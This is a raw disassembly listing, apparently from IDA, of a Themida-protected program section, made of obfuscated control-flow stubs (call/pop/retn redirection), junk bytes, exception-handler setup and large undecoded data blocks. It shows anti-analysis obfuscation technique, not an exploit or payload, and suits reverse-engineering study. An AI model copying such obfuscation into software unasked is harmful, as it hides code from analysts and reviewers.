		inc	ebp
		push	ebp
		retn
sub_5D0F8D	endp

; ---------------------------------------------------------------------------
		db 54h,	61h, 63h
; ---------------------------------------------------------------------------
		aas
		sbb	bx, 0B2CEh
		sub	[ebp+7D12F11h],	esi
		call	dword ptr [ebp+7D12709h]
		push	0
		push	esi
		call	sub_5D0FBD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0FBD	proc near		; CODE XREF: Themida_:005D0FB5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D0FBD	endp

; ---------------------------------------------------------------------------
		or	eax, 183CD745h
		mov	di, 63F7h
		cmp	dword ptr [ebp+7D10FC1h], 2
		jz	loc_5D1051
		push	0
		push	edi
		call	sub_5D0FEE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0FEE	proc near		; CODE XREF: Themida_:005D0FE6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5D0FEE	endp

; ---------------------------------------------------------------------------
		push	ds
		cmp	eax, 30722237h
		db	36h
		jmp	loc_5D1019
; ---------------------------------------------------------------------------
		dw 0E555h
		dd 0A4D4F0EDh, 0E2BBD0DFh, 0F11B9F04h
; ---------------------------------------------------------------------------
		inc	eax


loc_5D1019:				; CODE XREF: Themida_:005D1004j
		mov	eax, [ebp+7D11E25h]
		push	0
		push	edx
		call	sub_5D102A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D102A	proc near		; CODE XREF: Themida_:005D1022p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D102A	endp

; ---------------------------------------------------------------------------
		dw 0E956h
; ---------------------------------------------------------------------------
		stosb
		or	[ebp+7D11809h],	ebx
		mov	byte ptr [eax],	0
		mov	ebx, [ebp+7D101C1h]
		sbb	di, 0A60Dh


loc_5D1051:				; CODE XREF: Themida_:005D0FDDj
		mov	dword ptr [ebp+7D122CDh], 0
		push	0
		push	esi
		call	sub_5D1066
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1066	proc near		; CODE XREF: Themida_:005D105Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D1066	endp

; ---------------------------------------------------------------------------
		dw 54FEh
		dd 0B8DA0248h, 0E19D3385h, 307D106h, 0D130FD9Dh, 0F47FE907h
		dd 0BD8BFFFFh, 7D11F55h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C3E92C3h, 0BF0F6EE4h
		dd 61858DDBh, 6A07D113h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 8773C350h, 48F5786Bh
		dd 0B0A53E5Dh, 20099D89h, 5E907D1h, 0BF000000h,	0F82FD828h
		dd 0BB665090h, 89904E16h, 0D1305585h, 6A006A07h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 9D6CC350h, 85736592h, 66030986h, 6A57A3BBh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 14C5D667h, 96C448B6h, 85B501CCh, 8D07D133h, 0D5ACCC85h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 6961DAE5h, 60CD5E61h, 4F76CF81h,	89600BF0h
		dd 0D126B58Dh, 6161F507h, 8B05C083h, 0D131919Dh, 0AE807h
		dd 0D5020000h, 788A6D3Eh, 0BF00AFAh, 0C4DF8166h, 66905FE5h
		dd 6050F88Bh, 9061A0B3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 6AF2C3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 68C35646h, 20E86D04h
		dd 95FFE956h, 7D11DE1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 23C35141h, 0A252B9F3h, 7B7464Eh, 0D5668D8Dh
		dd 6A07D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0B77671C3h, 60D1FF77h, 29E98501h,	858B07D1h
		dd 7D11ED9h, 0DE961h, 88820000h, 6E2EEE88h, 928774C6h
		dd 83AB67F7h, 0D11715BDh, 850F0107h, 92h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0FC35747h, 0A78C8511h
		dd 0FD0EA0CEh, 0AE812h,	0EE950000h, 0C56554B1h,	0EF22E261h
		dd 0BD3BB66h, 6A026A5Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 7264C351h, 4F965932h
		dd 0DE8A50FAh, 0BB240489h, 3F612AFCh, 0FFFEB70Fh, 0D11DE995h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FC05AE3h, 64E9FEBFh, 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D5ACD6h
		push	0
		push	esi
		call	sub_5D1326
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1326	proc near		; CODE XREF: Themida_:005D131Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D1326	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0DCFCC9CFh
		or	eax, 0FA8B66ABh
		pusha
		mov	eax, 7DE3D857h
		jmp	loc_5D135F
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0C94E19Dh, 7BE3477Ah, 2FF5896Eh, 595475DFh
		db 10h,	0DBh, 0FEh
; ---------------------------------------------------------------------------


loc_5D135F:				; CODE XREF: Themida_:005D1346j
		popa
		lea	eax, [ebp+7D4BC77h]
		push	0
		push	ebx
		call	sub_5D1371
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1371	proc near		; CODE XREF: Themida_:005D1369p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5D1371	endp

; ---------------------------------------------------------------------------
		db 30h,	38h, 69h
		dd 2AC99D89h, 605007D1h, 4D6BF60h, 60617071h, 310F5250h
		dd 8E0F585Ah, 0
; ---------------------------------------------------------------------------
		popa
		popa
		mov	[esp], eax
		mov	edi, [ebp+7D122B1h]
		push	large dword ptr	fs:0
		mov	[ebp+7D12A15h],	edx
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5D13CA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D13CA	proc near		; CODE XREF: Themida_:005D13C2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D13CA	endp

; ---------------------------------------------------------------------------
		dw 2114h
		dd 148A11BAh, 0FA1530Dh, 682h, 65953100h, 0FF07D121h, 0D1292185h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 20CBC0Ah, 0D1F8A5F6h, 7D9D8BF3h,	0F07D134h
		dd 380h, 0DEB70F00h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 752FEBC3h, 63DAEF24h
		dd 0B5FFC92Eh, 7D11AD1h, 0E7CB8166h, 1D95FF07h,	0E907D114h
		dd 110h, 2C0EBF66h, 10E900B0h, 5A000000h, 3CEB2D28h, 4EB3F12Ch
		dd 3BB21E25h, 0F981457h, 68Fh, 69858900h, 0E607D11Dh, 0E19D8970h
		dd 0E407D114h, 0E9BF6671h, 0F613CD3h, 0D383h, 1ABF6600h
		dd 0C8B60F7Ah, 91BD8Bh,	6BA07D1h, 0F000000h, 0C18BD8BFh
		dd 0E804E8C1h, 6, 0A8B3D4Ah, 9D236A07h,	7D12F09h, 0E2F7665Bh
		dd 0C82BD98Bh, 2D999589h, 0D18B07D1h, 0E979CF80h, 2, 858BDF8Bh
		dd 7D12BE5h, 32A5B589h,	0C08307D1h, 0F98B6607h,	2300C083h
		dd 0D1004D9Dh, 0FD03B07h, 0F83h, 7DBD8B00h, 0E907D12Bh
		dd 60h,	5FD88B56h, 33A18D8Bh, 0BD8907D1h, 7D11F5Dh, 0F01E183h
		dd 4784h, 0F98B6600h, 5860Fh, 0B7BF0000h, 836E0DEDh, 0D133A1A5h
		dd 830FFE07h, 3, 89D88B66h, 0D12BE595h,	12E907h, 9F640000h
		dd 0CA51F3BBh, 0FC85C14Bh, 0F547EC78h, 7EB3A19Dh, 51DBF51h
		dd 0E95F2CEDh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7D52B6Fh]
		mov	edi, [ebp+7D11CBDh]
		push	0
		mov	ebx, [ebp+7D1165Dh]
		call	dword ptr [ebp+7D10055h]
		push	0
		push	edx
		call	sub_5D1599
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1599	proc near		; CODE XREF: Themida_:005D1591p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D1599	endp

; ---------------------------------------------------------------------------
		db 11h,	0DAh, 0F5h
		dd 4AC40B2h, 7FAB9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 354D7FBAh, 96BC9451h
		dd 7E95B94h, 0
		dd 0ABEAC504h, 0E183B53Ah, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BD33FC50h
		dd 7D1199Dh, 0B53242BFh, 0FCC02B5Ah, 0BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 8080DD4Bh, 33ADFBCFh, 3E8D1C2h, 4E983D0h, 93BFF475h
		dd 6A21765Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 34DC357h, 7836F526h, 1CC18D89h
		dd 880F07D1h, 6, 2D01BD8Bh, 880D07D1h, 8A000000h, 51958BDCh
		dd 6A07D11Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 9935C351h, 0BD8BB4A8h,	7D1109Dh
		dd 2D558D8Bh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 980036C3h, 0E16AA8FFh, 506450EBh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0D88F5594h, 0BFDBF6Ch, 85091D78h, 7D11865h, 1BC5BD83h
		dd 0F0007D1h, 8D84h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0B79314D0h, 93A9BFF9h
		dd 0B84363h, 0E9000000h, 14h, 18AF816Dh, 0EE9F7142h, 0BBCF3F5Bh
		dd 582182C3h, 55413ACFh, 4D0A8D8Dh, 6A07D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0F8BB5BC3h
		dd 0FF4438B0h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 55536164h, 0BD83BFF4h
		dd 7D11D39h, 0F1840F00h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DA52C356h
		dd 9D89D7E8h, 7D1208Dh,	6919D8Bh, 0BD8307D1h, 7D11D39h
		dd 0D4840F01h, 89000004h, 0D110C585h, 39BD8307h, 307D11Dh
		dd 48B860Fh, 95890000h,	7D1309Dh, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0FE770A5Bh
		dd 86C1DA45h, 0F60FD8Ah, 385h, 0CEBF0F00h, 1A99958Bh, 666107D1h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9E990C3h,	0C1000000h, 0FA300698h,	38CA8C92h
		dd 80F88B66h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E3731BC3h, 0E8FE8B07h, 14h, 8905CF29h
		dd 828D5252h, 0EFBF5DFBh, 5885250Fh, 204E7B3h, 5BF88B66h
		dd 840FC90Ah, 0FDh, 28F5858Bh, 0B58907D1h, 7D12EFDh, 8533D98Bh
		dd 7D131CDh, 5E9h, 0FA97C200h, 0B750B78Fh, 240489EDh, 22359D89h
		dd 6A07D1h, 14E9h, 2A798300h, 5AE042A1h, 42E1436Fh, 0C3AF32A0h
		dd 36700196h, 421F688Dh, 12E9CBF0h, 0D0000000h,	2C120319h
		dd 383432EFh, 1779C69Dh, 5C7E3A8Ah, 240481C5h, 342EC1E0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D7C35545h
		dd 1B6694BBh, 1595FF4Eh, 6A07D12Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3D54C356h
		dd 4B77FDA5h, 744E005Ch, 89DBB70Fh, 0D4EA5A85h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 5762FD1Eh, 718A5C75h, 0FD9D8B57h, 0E907D131h, 249h
		dd 0CE9h, 73F4C900h, 0F5E469EAh, 164FE21Ch, 52858BE7h
		dd 6A07D4EAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0D946C351h, 1800C73Ch,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E142C351h, 4705D553h, 0FFBF0F74h, 0EA56B58Bh
		dd 6A07D4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 95898CC3h, 7D12009h, 22B1BD8Bh, 858B07D1h
		dd 7D10C9Dh, 0CEE9EF81h, 6891288h, 14E8h, 1EE3BC00h, 4C4AA6E0h
		dd 0CF2037FBh, 1BC64F92h, 98945D4Eh, 0DBBF0F63h, 0F5858B5Fh
		dd 6A07D128h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B88C353h, 44689DFh, 2890F50h
		dd 0B7000000h, 243489E4h, 28319D8Bh, 0B5FF07D1h, 7D4EA52h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EBC35040h
		dd 86416DBFh, 0DE8EE8Dh, 68000000h, 0C368EFC2h,	3602CC19h
		dd 0F7692F6Fh, 0BE8h, 0C1EB8000h, 23544725h, 70E2AF2Bh
		dd 1FCC48BBh, 0E85F5F54h, 4, 1F03FFh, 605058B3h, 800F5250h
		dd 0
		dd 6E9310Fh, 0B2000000h, 2538AC54h, 61585AD8h, 424448Bh
		dd 0EE9h, 0FD65BC00h, 72E633B7h, 3CB44DCCh, 8B3DF3C7h
		dd 24448900h, 52506004h, 310F5B57h, 0EE9h, 0C2A84700h
		dd 0F26093AFh, 5AB1BCA5h, 5A658BE6h, 61EA8A58h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0C5F700FBh, 858DF87Bh, 7D4EA5Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B9C35242h,	7B0123CAh, 0A905AFE4h
		dd 10E846h, 1FBC0000h, 92DC2B72h, 5F4E4D8Eh, 2BAB618Ch
		dd 0B52952D7h, 7D12131h, 0DF8B505Fh, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0C81DC357h, 0A38DCD04h, 95FF7B20h, 7D12B15h,	8E9h, 6D150500h
		dd 0F976DC6Fh, 6A6110h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 844AEEC3h, 0E53AFBF1h, 6E9ACB81h
		dd 0EF802D3Fh, 3985C798h, 307D11Dh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0F639C352h, 7F23C802h, 5ABD837Ch, 7D4EAh, 3B840Fh, 0C3810000h
		dd 1395231Fh, 4BE9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 952189D2h, 77C2A0B2h
		dd 98D8946h, 8907D11Eh,	0D11CB595h, 0C305007h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 9EC35747h, 71BD8B7Ah, 0F07D113h
		dd 386h, 2FF38000h, 33F99D2Bh, 0BD8307D1h, 7D11D39h, 0D2850F03h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0A501C353h, 0A360AAC9h, 53F57685h
		dd 9E9h, 64683A00h, 1CB81B08h, 0F5F5717h, 684h,	5B58900h
		dd 8307D12Ah, 0D4EA5ABDh, 840F0007h, 485h, 1C258589h, 0B5FF07D1h
		dd 7D4EA5Ah, 0FFF5D88Ah, 0D12EB195h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FABF0F17h
		dd 0EA4EB58Bh, 6A07D4h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 2067AC3h, 0E970AB38h, 0Bh, 95B7CFEBh
		dd 47F138E8h, 0C7537F20h, 1000106h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 80906A21h
		dd 0BD3184EFh, 7D12069h, 6E996h, 90650000h, 9A0C3426h
		dd 96FA8B50h, 158BBB66h, 0EA5AB5FFh, 6A07D4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 4A7CF0C3h
		dd 95FFF97Ah, 7D131A5h,	1BF9BD8Bh, 38B707D1h, 0EA4EB58Bh
		dd 6A07D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0F07C56C3h, 619D012Dh, 8B07D106h,	0D12B3185h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 9CC8E03h, 0FF5F780h, 118Bh, 0CE900h, 0CF690000h
		dd 0DA2D9145h, 0F506C799h, 86894D16h, 0C4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 45C35343h, 3B962D15h
		dd 1D9D294Bh, 6007D11Dh, 0DA816653h, 605F5BDCh,	0FBF8B966h
		dd 61616160h, 86CBF66h,	1B51958Bh, 0BD8B07D1h, 7D113C9h
		dd 0C283F88Bh, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 776DED50h, 9E6C6BBBh
		dd 0ADBD8B89h, 8107D11Ah, 60F714EBh, 2050895Dh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 1DC35141h, 0B3C62168h
		dd 0E5858DCCh, 6A07D4FEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0ABEFC356h,	768860C9h
		dd 9AC6FCBFh, 0B8868973h, 57000000h, 7A1BD09h, 6A5B07D1h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF0FED29h, 5AB5FFF8h, 6A07D4EAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 386C350h, 26F33A51h,	0BD894F65h, 7D12AB5h, 2B89BD29h
		dd 95FF07D1h, 7D11DE9h,	7E8h, 42BD4100h, 4C6E54E4h, 159D9D8Bh
		dd 965F07D1h, 96FA8B50h, 89D98B66h, 0D1219D8Dh,	5AB5FF07h
		dd 8B07D4EAh, 0D116CD9Dh, 9D95FF07h, 6A07D12Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 2D81C353h, 0E5EE814Ah, 13E9h, 0A7A07D00h, 0A1B64F02h
		dd 4B68A796h, 0BED582AFh, 0CC4560BCh, 2809BD83h, 0F0007D1h
		dd 9084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 7BF963DBh, 9598FBCh, 0EE9h, 0F95A1200h
		dd 4EBA9C2Ch, 360DC9CEh, 0E8420040h, 0Dh, 537775E8h, 88F3C493h
		dd 0AA5C9513h, 0F88B66E5h, 0A0BB965Fh, 500966BCh, 0FC8A5250h
		dd 0E1BF310Fh, 5A276BFFh, 6A9658h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3E5005C3h, 90D87322h
		dd 850F4673h, 5, 4DE38166h, 5AB5FF62h, 6A07D4EAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 6B3DC352h, 10F765DEh, 0F41A509h, 385h, 0FFB70F00h, 32B595FFh
		dd 0BB6607D1h, 0B5FF5410h, 7D4EA5Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 27C35545h, 0FF1DA3F8h, 0D1270995h
		dd 0F5F88B07h, 0FC1BD83h, 0F0207D1h, 5584h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A1F224B2h, 5CBCBA7Ah, 0B509A703h, 7D128A9h,	8BFABF0Fh
		dd 0D11E2585h, 0F59D8B07h, 8B07D10Bh, 0D113A59Dh, 0C607h
		dd 0C8E0Fh, 8F0F0000h, 6, 2E2D8529h, 85C707D1h,	7D122CDh
		dd 0
; ---------------------------------------------------------------------------
		jnz	loc_5D21F9
		push	ebx
		jmp	loc_5D21F8
; ---------------------------------------------------------------------------
		dd 0A418B1EAh, 0A28F113h, 54304086h, 4E82FE2Ah
; ---------------------------------------------------------------------------


loc_5D21F8:				; CODE XREF: Themida_:005D21E3j
		pop	edi


loc_5D21F9:				; CODE XREF: Themida_:005D21DCj
		jmp	near ptr dword_5D13DC+4Ch
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D2209
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2209	proc near		; CODE XREF: Themida_:005D2201p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D2209	endp

; ---------------------------------------------------------------------------
		db 91h,	75h, 76h
		dd 0E888BF60h, 14h, 3D88C08h, 4F245543h, 1A9B1498h, 240431F1h
		dd 0E42DC31Ch, 0C18B5BFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 4CC35545h, 0FEE8AB70h, 10810FB0h, 60000000h
		dd 6E8DA8Bh, 6F000000h,	1D4EDB00h, 8D615EBBh, 0D1136185h
		dd 0E3816607h, 8950B30Bh, 0BD312404h, 7D118DDh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B5E4CC3h, 0D133D1BDh, 0E8006A07h, 0Eh, 0EA8D4A41h
		dd 0A05597A3h, 3E91644Fh, 8D89A371h, 7D113B1h, 9C858D5Fh
		dd 6A07D5BDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DB5FC351h, 28E1E94Fh,	59F43F9Ah
		dd 14898D89h, 0C08307D1h, 59D2305h, 5007D121h, 89240489h
		dd 0D12CCD8Dh, 9E807h, 3ADA0000h, 0CEB371AEh, 31BA2114h
		dd 0D101CD8Dh, 6A5F07h,	6A5BF557h, 9BD2900h, 0FF07D12Fh
		dd 0D11DE195h, 39C38107h, 8D4C652Ah, 0D4D5668Dh, 0AFF78107h
		dd 0FF509B76h, 3DC780D1h, 1715BD83h, 0F0107D1h,	8185h
		dd 95BD8B00h, 6A07D116h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0DB13866Fh, 6ED0EC93h
		dd 0C59D33F9h, 5007D10Fh, 489FE8Bh, 0E8BB6624h,	8D852984h
		dd 0FF07D10Ch, 0D11DE995h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0ECA5251h
		dd 0AA1DB747h, 0E960C47Ch, 7, 1EA03EDEh, 891DF5C7h, 0D1020995h
		dd 0EFE96107h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D5BDA6h
		push	0
		push	ebp
		call	sub_5D23F6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D23F6	proc near		; CODE XREF: Themida_:005D23EEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D23F6	endp

; ---------------------------------------------------------------------------
		dw 0FAA3h
		dd 2820Fh, 7AB30000h, 2DBD9D8Bh, 0CE807D1h, 52000000h
		dd 6448D630h, 0F28EB1E8h, 89414DD3h, 0D1162DBDh, 858D5B07h
		dd 7D4BC77h, 5E8h, 0B376C600h, 5BF87D45h, 69A2E381h, 0F902DAAh
		dd 1A89h, 0EE800h, 4B3A0000h, 0CDB8D251h, 314ABDF9h, 0F3F8570Fh
		dd 850Fh, 505B0000h, 6A9068B3h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 6C74C352h, 0E27F3F1h
		dd 0A094A59Ah, 1CA99D89h, 0FF6407D1h, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0B70F60A4h, 0DE957FEh, 9E000000h, 8A83EA6Dh,	0C757B43Eh
		dd 8AB97BE4h, 2589645Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D24E3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D24E3	proc near		; CODE XREF: Themida_:005D24DBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D24E3	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5D24FF
; ---------------------------------------------------------------------------
		db 0FFh, 85h, 21h
		dd 6A07D129h
		db 0, 57h, 0E8h
; ---------------------------------------------------------------------------


loc_5D24FF:				; CODE XREF: Themida_:005D24F3j
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	edi
		retn
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 1Ah
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 0F063h
; ---------------------------------------------------------------------------
		retf	8A24h
; ---------------------------------------------------------------------------
		db 89h
		dd 10E86089h, 0DA000000h, 149FF7h, 551DD8D6h, 9BE2309Eh
		dd 66A65E18h, 615AC68Bh, 0FE9FF6Ah, 8000000h, 76C219E1h
		dd 62572957h, 5845E4F9h, 8C0F0E73h, 6, 26159589h, 0B5FF07D1h
		dd 7D12F05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0CDC35545h, 891AB004h, 0D1233185h, 2880F07h, 8B000000h
		dd 1D95FFFBh, 0E907D114h, 133h,	0E8EB8166h, 0E900B0E2h
		dd 0Eh,	0C12FF7EAh, 0BBC16901h,	0FE63EACDh, 70E6E399h
		dd 1FDBD8Bh, 71E407D1h,	2B65BD8Bh, 613C07D1h, 101830Fh
		dd 820F0000h, 0
; ---------------------------------------------------------------------------
		movzx	ecx, al
		movsx	ebx, si
		mov	edx, 6
		add	edi, [ebp+7D11CCDh]
		mov	eax, ecx
		jmp	loc_5D25F0
; ---------------------------------------------------------------------------
		dd 0D0956F7Ch, 0EC316951h
; ---------------------------------------------------------------------------


loc_5D25F0:				; CODE XREF: Themida_:005D25E3j
		shr	eax, 4
		push	eax
		push	eax
		pop	edi
		pop	ebx
		mul	dx
		jmp	loc_5D2611
; ---------------------------------------------------------------------------
		db 69h
		dd 657289E5h, 0BE9DA013h, 0F5790434h, 3A97029Fh
; ---------------------------------------------------------------------------
		stc


loc_5D2611:				; CODE XREF: Themida_:005D25FAj
		sub	ecx, eax
		mov	edx, ecx
		mov	[ebp+7D11D59h],	eax
		jmp	loc_5D2626
; ---------------------------------------------------------------------------
		mov	[ebp+7D100CDh],	eax


